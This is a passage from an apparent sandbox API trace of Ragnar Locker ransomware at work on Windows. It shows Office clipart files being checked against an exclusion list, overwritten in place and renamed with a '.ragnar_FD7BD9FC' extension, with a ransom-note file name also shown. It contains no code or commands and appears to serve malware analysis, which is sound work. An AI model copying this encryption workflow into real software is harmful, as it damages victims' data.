lpNewFilePointer=0x0) returned 1 [0086.916] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1348, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1348, lpOverlapped=0x0) returned 1 [0086.919] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.920] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1348, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.920] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1348, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1348, lpOverlapped=0x0) returned 1 [0086.920] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1348, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.920] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.920] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1348, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.920] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.920] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.920] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.921] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.921] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.921] GetProcessHeap () returned 0x580000 [0086.921] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.921] CloseHandle (hObject=0xf4) returned 1 [0086.921] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF" [0086.921] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF.ragnar_FD7BD9FC" [0086.921] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239955.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239955.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239955.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.922] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1720, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239965.WMF", cAlternateFileName="")) returned 1 [0086.922] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.922] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0239965.WMF" | out: lpString1="J0239965.WMF") returned="J0239965.WMF" [0086.922] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF") returned=".WMF" [0086.922] lstrcmpiW (lpString1="J0239965.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.922] lstrcmpiW (lpString1="J0239965.WMF", lpString2="autorun.inf") returned 1 [0086.922] lstrcmpiW (lpString1="J0239965.WMF", lpString2="boot.ini") returned 1 [0086.922] lstrcmpiW (lpString1="J0239965.WMF", lpString2="bootfont.bin") returned 1 [0086.922] lstrcmpiW (lpString1="J0239965.WMF", lpString2="bootsect.bak") returned 1 [0086.922] lstrcmpiW (lpString1="J0239965.WMF", lpString2="bootmgr") returned 1 [0086.922] lstrcmpiW (lpString1="J0239965.WMF", lpString2="bootmgr.efi") returned 1 [0086.922] lstrcmpiW (lpString1="J0239965.WMF", lpString2="bootmgfw.efi") returned 1 [0086.922] lstrcmpiW (lpString1="J0239965.WMF", lpString2="desktop.ini") returned 1 [0086.922] lstrcmpiW (lpString1="J0239965.WMF", lpString2="iconcache.db") returned 1 [0086.922] lstrcmpiW (lpString1="J0239965.WMF", lpString2="ntldr") returned -1 [0086.922] lstrcmpiW (lpString1="J0239965.WMF", lpString2="ntuser.dat") returned -1 [0086.922] lstrcmpiW (lpString1="J0239965.WMF", lpString2="ntuser.dat.log") returned -1 [0086.922] lstrcmpiW (lpString1="J0239965.WMF", lpString2="ntuser.ini") returned -1 [0086.923] lstrcmpiW (lpString1="J0239965.WMF", lpString2="thumbs.db") returned -1 [0086.923] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.923] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.923] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.923] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.923] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.923] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.923] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.923] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239965.wmf")) returned 0x20 [0086.923] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239965.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.924] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5920) returned 1 [0086.924] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1717, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.924] GetProcessHeap () returned 0x580000 [0086.924] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.924] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.929] VirtualAlloc (lpAddress=0x0, dwSize=0x1720, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.929] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.929] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.929] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1720, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1720, lpOverlapped=0x0) returned 1 [0086.930] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.930] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1720, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.930] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1720, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1720, lpOverlapped=0x0) returned 1 [0086.930] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1720, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.930] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.931] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1720, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.931] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.931] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.931] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.931] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.931] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.931] GetProcessHeap () returned 0x580000 [0086.931] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.931] CloseHandle (hObject=0xf4) returned 1 [0086.931] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF" [0086.931] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF.ragnar_FD7BD9FC" [0086.931] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239965.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239965.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239965.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.932] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x154c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239967.WMF", cAlternateFileName="")) returned 1 [0086.932] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.932] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0239967.WMF" | out: lpString1="J0239967.WMF") returned="J0239967.WMF" [0086.932] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF") returned=".WMF" [0086.932] lstrcmpiW (lpString1="J0239967.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.932] lstrcmpiW (lpString1="J0239967.WMF", lpString2="autorun.inf") returned 1 [0086.932] lstrcmpiW (lpString1="J0239967.WMF", lpString2="boot.ini") returned 1 [0086.932] lstrcmpiW (lpString1="J0239967.WMF", lpString2="bootfont.bin") returned 1 [0086.932] lstrcmpiW (lpString1="J0239967.WMF", lpString2="bootsect.bak") returned 1 [0086.932] lstrcmpiW (lpString1="J0239967.WMF", lpString2="bootmgr") returned 1 [0086.932] lstrcmpiW (lpString1="J0239967.WMF", lpString2="bootmgr.efi") returned 1 [0086.932] lstrcmpiW (lpString1="J0239967.WMF", lpString2="bootmgfw.efi") returned 1 [0086.933] lstrcmpiW (lpString1="J0239967.WMF", lpString2="desktop.ini") returned 1 [0086.933] lstrcmpiW (lpString1="J0239967.WMF", lpString2="iconcache.db") returned 1 [0086.933] lstrcmpiW (lpString1="J0239967.WMF", lpString2="ntldr") returned -1 [0086.933] lstrcmpiW (lpString1="J0239967.WMF", lpString2="ntuser.dat") returned -1 [0086.933] lstrcmpiW (lpString1="J0239967.WMF", lpString2="ntuser.dat.log") returned -1 [0086.933] lstrcmpiW (lpString1="J0239967.WMF", lpString2="ntuser.ini") returned -1 [0086.933] lstrcmpiW (lpString1="J0239967.WMF", lpString2="thumbs.db") returned -1 [0086.933] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.933] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.933] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.933] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.933] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.933] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.933] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.933] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239967.wmf")) returned 0x20 [0086.933] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239967.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.933] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5452) returned 1 [0086.934] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1543, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.934] GetProcessHeap () returned 0x580000 [0086.934] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.934] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.936] VirtualAlloc (lpAddress=0x0, dwSize=0x154c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.936] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.936] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.936] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x154c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x154c, lpOverlapped=0x0) returned 1 [0086.940] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.940] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x154c, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.940] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x154c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x154c, lpOverlapped=0x0) returned 1 [0086.941] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x154c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.941] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.941] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x154c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.941] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.941] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.941] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0086.941] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0086.941] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0086.941] GetProcessHeap () returned 0x580000 [0086.941] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0086.941] CloseHandle (hObject=0xf4) returned 1 [0086.941] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF" [0086.941] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF.ragnar_FD7BD9FC" [0086.941] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239967.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239967.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239967.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0086.942] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0239973.WMF", cAlternateFileName="")) returned 1 [0086.942] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0086.942] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0239973.WMF" | out: lpString1="J0239973.WMF") returned="J0239973.WMF" [0086.942] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF") returned=".WMF" [0086.942] lstrcmpiW (lpString1="J0239973.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0086.942] lstrcmpiW (lpString1="J0239973.WMF", lpString2="autorun.inf") returned 1 [0086.942] lstrcmpiW (lpString1="J0239973.WMF", lpString2="boot.ini") returned 1 [0086.942] lstrcmpiW (lpString1="J0239973.WMF", lpString2="bootfont.bin") returned 1 [0086.942] lstrcmpiW (lpString1="J0239973.WMF", lpString2="bootsect.bak") returned 1 [0086.942] lstrcmpiW (lpString1="J0239973.WMF", lpString2="bootmgr") returned 1 [0086.943] lstrcmpiW (lpString1="J0239973.WMF", lpString2="bootmgr.efi") returned 1 [0086.943] lstrcmpiW (lpString1="J0239973.WMF", lpString2="bootmgfw.efi") returned 1 [0086.943] lstrcmpiW (lpString1="J0239973.WMF", lpString2="desktop.ini") returned 1 [0086.943] lstrcmpiW (lpString1="J0239973.WMF", lpString2="iconcache.db") returned 1 [0086.943] lstrcmpiW (lpString1="J0239973.WMF", lpString2="ntldr") returned -1 [0086.943] lstrcmpiW (lpString1="J0239973.WMF", lpString2="ntuser.dat") returned -1 [0086.943] lstrcmpiW (lpString1="J0239973.WMF", lpString2="ntuser.dat.log") returned -1 [0086.943] lstrcmpiW (lpString1="J0239973.WMF", lpString2="ntuser.ini") returned -1 [0086.943] lstrcmpiW (lpString1="J0239973.WMF", lpString2="thumbs.db") returned -1 [0086.943] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0086.943] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0086.943] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0086.943] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0086.943] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0086.943] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0086.943] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0086.943] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239973.wmf")) returned 0x20 [0086.943] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239973.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239973.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0086.943] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5096) returned 1 [0086.944] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x13df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.944] GetProcessHeap () returned 0x580000 [0086.944] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0086.944] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0086.950] VirtualAlloc (lpAddress=0x0, dwSize=0x13e8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0086.951] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.951] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0086.951] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x13e8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x13e8, lpOverlapped=0x0) returned 1 [0086.953] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0086.953] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x13e8, nNumberOfBytesToLockHigh=0x0) returned 1 [0086.953] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x13e8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x13e8, lpOverlapped=0x0) returned 1 [0086.953] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x13e8, nNumberOfBytesToUnlockHigh=0x0) returned 1 